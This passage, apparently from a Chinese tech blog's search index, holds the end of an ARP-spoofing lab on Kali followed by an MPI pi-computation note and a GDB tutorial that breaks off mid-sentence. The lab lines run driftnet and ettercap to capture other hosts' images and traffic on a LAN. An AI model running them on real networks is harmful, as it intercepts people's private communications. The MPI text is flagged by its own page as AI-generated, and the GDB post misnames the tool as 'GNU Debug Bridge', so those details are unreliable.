bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edriftnet -i eth0 -a -d /root/out\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eettercap -Tq -i eth0\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在上面的目录可以看到缓存的图片,下面的终端可以看到eth0的流量。至此,攻击测试完成。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/arp-kali/"},{"title":"C语言MPI学习笔记","time":"2023-04-27T15:48:54Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"简介\"\u003e\u003ca href=\"https://xeonds.github.io/2023/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80MPI%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e内容由New Bing自动生成,注意甄别\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eMPI是一种用于并行计算的消息传递接口,它可以让多个进程在不同的机器(节点)上协同工作,通过发送和接收数据来完成复杂的计算任务。\u003c/p\u003e\u003cp\u003e简单地说,这是一个位高性能并行计算提供的一个\u003cstrong\u003e基础通信规范\u003c/strong\u003e。依靠它,可以编写出在多个核心/CPU集群上并行运行的程序。\u003c/p\u003e\u003cp\u003e要使用C语言MPI,您需要安装一个MPI软件,如MPICH,OpenMPI或MVAPICH,并使用mpicc或mpic++命令来编译您的C程序。\u003c/p\u003e\u003cp\u003e您还需要使用一些MPI的API函数来初始化和结束MPI环境,获取进程数和进程编号(称为“rank”),以及进行数据交换。\u003c/p\u003e\u003cp\u003e数据交换的主要方式有两种:发送(send)和接收(recv)。发送可以分为阻塞(blocking)和非阻塞(non-blocking)两种,阻塞发送会等待数据被接收方确认,而非阻塞发送会继续执行后续的代码,但需要使用等待(wait)函数来同步数据的状态。\u003c/p\u003e\u003cp\u003e依靠MPI构建的数据计算程序有多种架构,MIMD和SIMD都是它支持的架构。不过一般使用后一种,也就是单程序多数据流。\u003c/p\u003e\u003cp\u003e对于这种架构,又有两种不同的设计模式:主从结构,以及对等结构。它们适用于大多数情况。\u003c/p\u003e\u003ch2 id=\"实例\"\u003e\u003ca href=\"https://xeonds.github.io/2023/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80MPI%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%AE%9E%E4%BE%8B\" class=\"headerlink\" title=\"实例\"\u003e\u003c/a\u003e实例\u003c/h2\u003e\u003cp\u003e下面是一个简单的C语言MPI程序的示例,它可以计算圆周率的近似值:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e作者:\u003ca href=\"mailto:xiongw21@mails.tsinghua.edu.cn\"\u003exiongw21@mails.tsinghua.edu.cn\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;mpi.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (\u003cspan class=\"number\"\u003e4.0\u003c/span\u003e/(\u003cspan class=\"number\"\u003e1.0\u003c/span\u003e+x*x));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc,\u003cspan class=\"type\"\u003echar\u003c/span\u003e *argv[])\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e myid, numprocs;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e mypi, pi;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e h, sum, x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Init(\u0026amp;argc,\u0026amp;argv);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Comm_size(MPI_COMM_WORLD,\u0026amp;numprocs);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Comm_rank(MPI_COMM_WORLD,\u0026amp;myid);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d of %d.\\n\u0026#34;\u003c/span\u003e, myid, numprocs);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n = \u003cspan class=\"number\"\u003e100\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e h = \u003cspan class=\"number\"\u003e1.0\u003c/span\u003e / (\u003cspan class=\"type\"\u003edouble\u003c/span\u003e) n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sum = \u003cspan class=\"number\"\u003e0.0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = myid + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i += numprocs)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = h * ((\u003cspan class=\"type\"\u003edouble\u003c/span\u003e)i - \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sum +=f(x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mypi = h * sum;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Reduce(\u0026amp;mypi, \u0026amp;pi, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, MPI_DOUBLE, MPI_SUM, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, MPI_COMM_WORLD);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (myid == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;The result is %.10f.\\n\u0026#34;\u003c/span\u003e,pi);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Finalize();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80MPI%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"GDB学习笔记","time":"2023-03-16T15:12:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eGDB(GNU Debug Bridge)是一个二进制程序调试工具,适用于调试C和C++程序。这种二进制程序工具统称为bin-utils。类似的还有\u003ccode\u003estrace\u003c/code\u003e,一个跟踪程序系统调用的工具。\u003c/p\u003e\u003ch2 id=\"快速上手\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B\" class=\"headerlink\" title=\"快速上手\"\u003e\u003c/a\u003e快速上手\u003c/h2\u003e\u003cp\u003e在此之前,编译程序时记得加上\u003ccode\u003e-g\u003c/code\u003e参数来生成调试信息。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc main.c -g -o main\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e首先,使用\u003ccode\u003egdb \u0026lt;program\u0026gt;\u003c/code\u003e启动gdb并加载程序。随后,使用\u003ccode\u003ebreak main\u003c/code\u003e在\u003ccode\u003emain\u003c/code\u003e函数入口设置断点,否则程序会直接执行完成。接着,使用\u003ccode\u003erun [args]\u003c/code\u003e执行程序并附加可选的参数。程序会在断点处停止,在这之后,就可以使用\u003ccode\u003enext\u003c/code\u003e(简写为\u003ccode\u003en\u003c/code\u003e)或\u003ccode\u003estep\u003c/code\u003e单步执行,使用\u003ccode\u003eprint expr\u003c/code\u003e打印表达式的值。完成后,用\u003ccode\u003equit\u003c/code\u003e退出gdb。\u003c/p\u003e\u003ch3 id=\"解释说明\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%A7%A3%E9%87%8A%E8%AF%B4%E6%98%8E\" class=\"headerlink\" title=\"解释说明\"\u003e\u003c/a\u003e解释说明\u003c/h3\u003e\u003col\u003e\u003cli\u003e只有编译时加上了\u003ccode\u003e-g\u003c/code\u003e,gdb才能进行调试\u003c/li\u003e\u003cli\u003e\u003ccode\u003enext\u003c/code\u003e表示执行下一条语句而不进入函数内部;\u003ccode\u003estep\u003c/code\u003e则会进入函数内部\u003c/li\u003e\u003cli\u003e\u003ccode\u003eprint expr\u003c/code\u003e可以输出表达式的值,一次一个参数。例如查看数组arr的第i个元素可以用\u003ccode\u003eprint arr[i]\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"GDB的几种模式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#GDB%E7%9A%84%E5%87%A0%E7%A7%8D%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" title=\"GDB的几种模式\"\u003e\u003c/a\u003eGDB的几种模式\u003c/h2\u003e\u003cp\u003eGDB有多种模式,包括交互模式、批处理模式、远程调试模式等。交互模式是最常用的模式,用户可以在命令行界面中输入命令与GDB交互。批处理模式可以在不人工干预的情况下执行一系列GDB命令,通常用于自动化测试和调试。远程调试模式可以在远程主机上调试程序,通常用于嵌入式系统和分布式系统的调试。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e交互模式\u003c/code\u003e 是最常用的模式,用户可以在命令行界面中输入命令与GDB交互。进入交互模式的方法是在命令行中输入\u003ccode\u003egdb \u0026lt;program\u0026gt;\u003c/code\u003e,其中\u003ccode\u003e\u0026lt;program\u0026gt;\u003c/code\u003e是要调试的程序的可执行文件。交互模式的作用是让用户能够在程序执行过程中控制程序的执行,查看程序的状态,以及调试程序的错误。基本使用方法包括设置断点、运行程序、单步执行、打印变量值、查看函数调用栈等。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e批处理模式\u003c/code\u003e 可以在不人工干预的情况下执行一系列GDB命令,通常用于自动化测试和调试。进入批处理模式的方法是在命令行中输入\u003ccode\u003egdb -batch -x \u0026lt;script\u0026gt; \u0026lt;program\u0026gt;\u003c/code\u003e,其中\u003ccode\u003e\u0026lt;script\u0026gt;\u003c/code\u003e是包含GDB命令的脚本文件,\u003ccode\u003e\u0026lt;program\u0026gt;\u003c/code\u003e是要调试的程序的可执行文件。批处理模式的作用是让用户能够自动化执行一系列GDB命令,以便进行自动化测试和调试。基本使用方法包括设置断点、运行程序、单步执行、打印变量值、查看函数调用栈等。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e远程调试模式\u003c/code\u003e 可以在远程主机上调试程序,通常用于嵌入式系统和分布式系统的调试。进入远程调试模式的方法是在命令行中输入\u003ccode\u003egdb \u0026lt;program\u0026gt;\u003c/code\u003e,然后使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e命令连接到远程主机,其中\u003ccode\u003e\u0026lt;host\u0026gt;\u003c/code\u003e是远程主机的IP地址或主机名,\u003ccode\u003e\u0026lt;port\u0026gt;\u003c/code\u003e是远程主机上GDB服务器的端口号。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eGDB的软件结构可以分为以下几个部分:\u003c/p\u003e\u003col\u003e\u003cli\u003e前端:用户与GDB交互的界面,可以是命令行界面或者GUI界面。\u003c/li\u003e\u003cli\u003e后端:GDB的核心部分,负责解析用户输入的命令,控制程序的执行,以及与目标程序进行通信。\u003c/li\u003e\u003cli\u003e目标:被调试的程序,GDB通过与目标程序进行通信来控制其执行。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"常用指令\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%B8%B8%E7%94%A8%E6%8C%87%E4%BB%A4\" class=\"headerlink\" title=\"常用指令\"\u003e\u003c/a\u003e常用指令\u003c/h2\u003e\u003cp\u003e以下是GDB常用的指令:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ebreak\u003c/code\u003e:设置断点\u003c/li\u003e\u003cli\u003e\u003ccode\u003erun\u003c/code\u003e:运行程序\u003c/li\u003e\u003cli\u003e\u003ccode\u003enext\u003c/code\u003e(简写为\u003ccode\u003en\u003c/code\u003e):执行下一条语句而不进入函数内部\u003c/li\u003e\u003cli\u003e\u003ccode\u003estep\u003c/code\u003e(简写为\u003ccode\u003es\u003c/code\u003e):进入函数内部\u003c/li\u003e\u003cli\u003e\u003ccode\u003eprint\u003c/code\u003e(简写为\u003ccode\u003ep\u003c/code\u003e):打印表达式的值\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebacktrace\u003c/code\u003e(简写为\u003ccode\u003ebt\u003c/code\u003e):打印函数调用栈\u003c/li\u003e\u003cli\u003e\u003ccode\u003einfo\u003c/code\u003e:显示各种信息,如变量、寄存器、线程等\u003c/li\u003e\u003cli\u003e\u003ccode\u003ewatch\u003c/code\u003e:设置观察点,当观察的变量被修改时停止程序执行\u003c/li\u003e\u003cli\u003e\u003ccode\u003econtinue\u003c/code\u003e(简写为\u003ccode\u003ec\u003c/code\u003e):继续执行程序直到下一个断点或程序结束\u003c/li\u003e\u003cli\u003e\u003ccode\u003efinish\u003c/code\u003e:执行完当前函数并返回到调用该函数的地方\u003c/li\u003e\u003cli\u003e\u003ccode\u003eset\u003c/code\u003e:设置变量的值\u003c/li\u003e\u003cli\u003e\u003ccode\u003edisplay\u003c/code\u003e:每次停在断点处时自动打印表达式的值\u003c/li\u003e\u003cli\u003e\u003ccode\u003edisable\u003c/code\u003e:禁用断点或观察点\u003c/li\u003e\u003cli\u003e\u003ccode\u003eenable\u003c/code\u003e:启用断点或观察点\u003c/li\u003e\u003cli\u003e\u003ccode\u003edelete\u003c/code\u003e:删除断点或观察点\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"高级功能\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E9%AB%98%E7%BA%A7%E5%8A%9F%E8%83%BD\" class=\"headerlink\" title=\"高级功能\"\u003e\u003c/a\u003e高级功能\u003c/h2\u003e\u003cp\u003e除了常用指令外,GDB还有一些高级功能:\u003c/p\u003e\u003ch3 id=\"多线程调试\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%A4%9A%E7%BA%BF%E7%A8%8B%E8%B0%83%E8%AF%95\" class=\"headerlink\" title=\"多线程调试\"\u003e\u003c/a\u003e多线程调试\u003c/h3\u003e\u003cp\u003eGDB支持多线程调试。可以使用\u003ccode\u003einfo threads\u003c/code\u003e命令查看当前线程列表,使用\u003ccode\u003ethread \u0026lt;id\u0026gt;\u003c/code\u003e命令切换到指定线程,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt; thread \u0026lt;id\u0026gt;\u003c/code\u003e命令在指定线程中设置断点。\u003c/p\u003e\u003cp\u003e例如,我们有一个多线程程序\u003ccode\u003etest\u003c/code\u003e,其中有两个线程\u003ccode\u003ethread1\u003c/code\u003e和\u003ccode\u003ethread2\u003c/code\u003e,我们想在\u003ccode\u003ethread2\u003c/code\u003e中设置断点。首先,使用\u003ccode\u003egdb test\u003c/code\u003e命令启动gdb并加载程序。接着,使用\u003ccode\u003erun\u003c/code\u003e命令运行程序。程序会在主线程中停止,使用\u003ccode\u003einfo threads\u003c/code\u003e命令查看当前线程列表,找到\u003ccode\u003ethread2\u003c/code\u003e的ID。假设\u003ccode\u003ethread2\u003c/code\u003e的ID为2,使用\u003ccode\u003ethread 2\u003c/code\u003e命令切换到\u003ccode\u003ethread2\u003c/code\u003e,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt; thread 2\u003c/code\u003e命令在\u003ccode\u003ethread2\u003c/code\u003e中设置断点。完成后,使用\u003ccode\u003econtinue\u003c/code\u003e命令继续执行程序,程序会在断点处停止。\u003c/p\u003e\u003ch3 id=\"远程调试\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95\" class=\"headerlink\" title=\"远程调试\"\u003e\u003c/a\u003e远程调试\u003c/h3\u003e\u003cp\u003eGDB支持远程调试,可以使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e连接到远程主机,使用\u003ccode\u003efile \u0026lt;path\u0026gt;\u003c/code\u003e加载可执行文件,使用\u003ccode\u003erun\u003c/code\u003e运行程序。\u003c/p\u003e\u003ch3 id=\"调试核心转储文件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E6%A0%B8%E5%BF%83%E8%BD%AC%E5%82%A8%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"调试核心转储文件\"\u003e\u003c/a\u003e调试核心转储文件\u003c/h3\u003e\u003cp\u003e当程序崩溃时,可以使用GDB调试核心转储文件。可以使用\u003ccode\u003ecore \u0026lt;file\u0026gt;\u003c/code\u003e命令加载核心转储文件,使用\u003ccode\u003ebt\u003c/code\u003e命令查看函数调用栈。\u003c/p\u003e\u003ch3 id=\"调试动态链接库\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93\" class=\"headerlink\" title=\"调试动态链接库\"\u003e\u003c/a\u003e调试动态链接库\u003c/h3\u003e\u003cp\u003eGDB可以调试动态链接库,可以使用\u003ccode\u003eset solib-search-path \u0026lt;path\u0026gt;\u003c/code\u003e设置动态链接库搜索路径,使用\u003ccode\u003einfo sharedlibrary\u003c/code\u003e查看已加载的动态链接库,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt;\u003c/code\u003e在动态链接库中设置断点。\u003c/p\u003e\u003ch3 id=\"调试汇编代码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E6%B1%87%E7%BC%96%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"调试汇编代码\"\u003e\u003c/a\u003e调试汇编代码\u003c/h3\u003e\u003cp\u003eGDB可以调试汇编代码,可以使用\u003ccode\u003elayout asm\u003c/code\u003e查看汇编代码窗口,使用\u003ccode\u003estepi\u003c/code\u003e单步执行汇编指令,使用\u003ccode\u003edisassemble \u0026lt;func\u0026gt;\u003c/code\u003e查看函数的汇编代码。\u003c/p\u003e\u003ch3 id=\"调试嵌入式系统\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E5%B5%8C%E5%85%A5%E5%BC%8F%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"调试嵌入式系统\"\u003e\u003c/a\u003e调试嵌入式系统\u003c/h3\u003e\u003cp\u003eGDB可以调试嵌入式系统,可以使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e连接到嵌入式系统,使用\u003ccode\u003eset remotebaud \u0026lt;baud\u0026gt;\u003c/code\u003e设置串口波特率,使用\u003ccode\u003emonitor reset\u003c/code\u003e复位嵌入式系统,使用\u003ccode\u003eload\u003c/code\u003e加载可执行文件,使用\u003ccode\u003erun\u003c/code\u003e运行程序。\u003c/p\u003e\u003ch3 id=\"调试内核\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%B0%83%E8%AF%95%E5%86%85%E6%A0%B8\" class=\"headerlink\" title=\"调试内核\"\u003e\u003c/a\u003e调试内核\u003c/h3\u003e\u003cp\u003eGDB可以调试内核,可以使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e连接到内核,使用\u003ccode\u003eset architecture \u0026lt;arch\u0026gt;\u003c/code\u003e设置架构,使用\u003ccode\u003eset osabi 